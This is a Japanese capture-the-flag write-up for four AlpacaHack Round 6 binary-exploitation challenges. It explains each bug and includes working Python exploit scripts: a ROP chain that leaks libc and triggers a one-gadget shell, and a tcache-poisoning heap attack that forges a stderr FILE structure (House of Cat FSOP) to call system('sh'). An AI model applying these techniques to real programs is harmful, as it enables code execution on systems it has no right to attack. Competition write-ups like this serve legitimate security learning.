AlpacaHack Round 6 (Pwn)
inbound
indexに負数を入力できる
すぐ前にgotがあったのでexitをwinにするだけ
catcpy
6バイトのリターンアドレスをBOFで3バイトのwinに書き換えれば良いが、0x0が終端扱いになるため普通にやると上位バイトがそのまま残ってしまう
入力の最後はnull byteになるので、何回も入力を与えることで上位バイトから一つずつゼロ埋めしていける
wall
get_name()上にoff-by-nullの脆弱性
配列サイズ=入力サイズであるとき、終端nullの1バイトのみオーバーフローしてスタックの一部を壊せる
今回の場合はrbpが壊れる(最下位バイトが0x00になる)
rbpが壊れるためリターンした時のrspも当然壊れ、具体的にはランダムに0x00~0xf0の範囲で前にズレる(元のrspの最下位バイトの値に依存する)
ズレた場所にはnameバッファがあるため、乱数次第でROPができる
nameをretで埋めて、アラインメントに気をつけながら最後の方にprintfとmainのアドレスを仕込む
rdiにfunlockfileを指すポインタが入ってるので、printfを呼ぶだけでlibc leakが可能
2周目でone-gadget RCE
rbp-0x78 is writableの制約が満たされていないため、適当にbssを指すようにしておく
code: (python)
def exploit():
ret = 0x0040115f
pop_rbp = 0x001bc00f
one_gadget = 0xebc85
"""
constraints:
address rbp-0x78 is writable
r10 == NULL || r10 == NULL || r10 is a valid argv
rdx == NULL || rdx == NULL || rdx is a valid envp
"""
# leak libc
sendafter("Message: ", p64(0xdeadbeef))
payload = p64(ret) * 16
payload12 = p64(elf.plt"printf")
payload14 = p64(elf.symbols"main")
payload = flat(payload)
assert len(payload) == 128
sendafter("name?", payload)
recv()
try: addr = u64(io.recvn(6).ljust(8, b'\x00')) # funlockfile
except EOFError: return 1
libc_base = addr - libc.symbols"funlockfile"
print("leaked libc base:", hex(libc_base))
# one-gadget RCE
sendafter("Message: ", p64(0xdeadbeef))
payload = p64(ret) * 16
payload12 = p64(libc_base + pop_rbp)
payload13 = p64(0x404040 + 0x78) # bss
payload14 = p64(libc_base + one_gadget)
payload = flat(payload)
assert len(payload) == 128
sendafter("name?", payload)
recv()
io.interactive()
return 0
ideabook
index 16を領域外参照可能
note_list[0]に値が入るとsize_list[16]が壊れ、ヒープオーバーフローが起こせる
tcache poisoningで_IO_2_1_stderr_を確保し、FSOP (House of Cat 2)
ローカル環境だとnote_listの直後に余計なデータが入っていてindex 16を確保しようとすると"[-] Slot in use"で失敗してしまうので、デバッグ時はaslrを切って起動時のgdbscriptでmemsetする力技で解決した
code: (python)
def create(idx, size):
sendafter('> ', b'1')
sendafter(': ', str(idx).encode())
sendafter(': ', str(size).encode())
info(f'create: {idx=}, {size=}')
def edit(idx, data):
sendafter('> ', b'2')
sendafter(': ', str(idx).encode())
sendafter(': ', data)
info(f'edit: {idx=}, {data=}')
def read(idx, until=b'\n', after=None):
sendafter('> ', b'3')
sendafter(': ', str(idx).encode())
info(f'read: {idx=}')
recv(': ')
return recv(until, after=after)
def delete(idx):
sendafter('> ', b'4')
sendafter(': ', str(idx).encode())
info(f'delete: {idx=}')
def exploit():
create(16, 0x0)
create(0, 0x18) # break size_list16
for i in range(1, 11):
create(i, 0x100)
edit(2, b'a'*0x20)
for i in range(2, 9)::-1:
delete(i)
delete(1) # unsortedbin
delete(9) # unsortedbin
leak = read(16, b'a'*0x10)
libc_base = u64(leak0x40:0x48) - 0x21ace0
heap_base = u64(leak0x48:0x50) - 0xb50
print(f'{libc_base=:#x}')
print(f'{heap_base=:#x}')
libc_stderr = libc_base+0x21b6a0
payload = flat({
0x18: 0x21,
0x38: 0x111,
0x40: libc_base + 0x21ace0,
0x48: heap_base + 0xb50,
0x140: 0x110,
0x148: 0x110,
0x150: libc_stderr ^ (heap_base >> 12)
}, filler=b'\0')
edit(16, payload)
create(2, 0x100)
create(1, 0x100) # _IO_2_1_stderr_
fake_stderr = flat({
0x0000: b" sh", # _flags (rdi)
0x0028: 0x1, # _IO_write_ptr
0x0088: libc_stderr-0x10, # _lock (require writable address)
0x00a0: libc_stderr-0x10, # _wide_data
0x00d8: libc_base + 0x2170c0, # _IO_wfile_jumps
0x00e0: 0x800, # _IO_2_1_stdout_->_flags
# vtable
0x0068-0x10: libc_base + 0x50d70, # system
# wide_data
0x00e0-0x10: libc_stderr-0x10,
}, filler=b'\0')
edit(1, fake_stderr)
sendafter('> ', b'5')
return 0
#alpacahack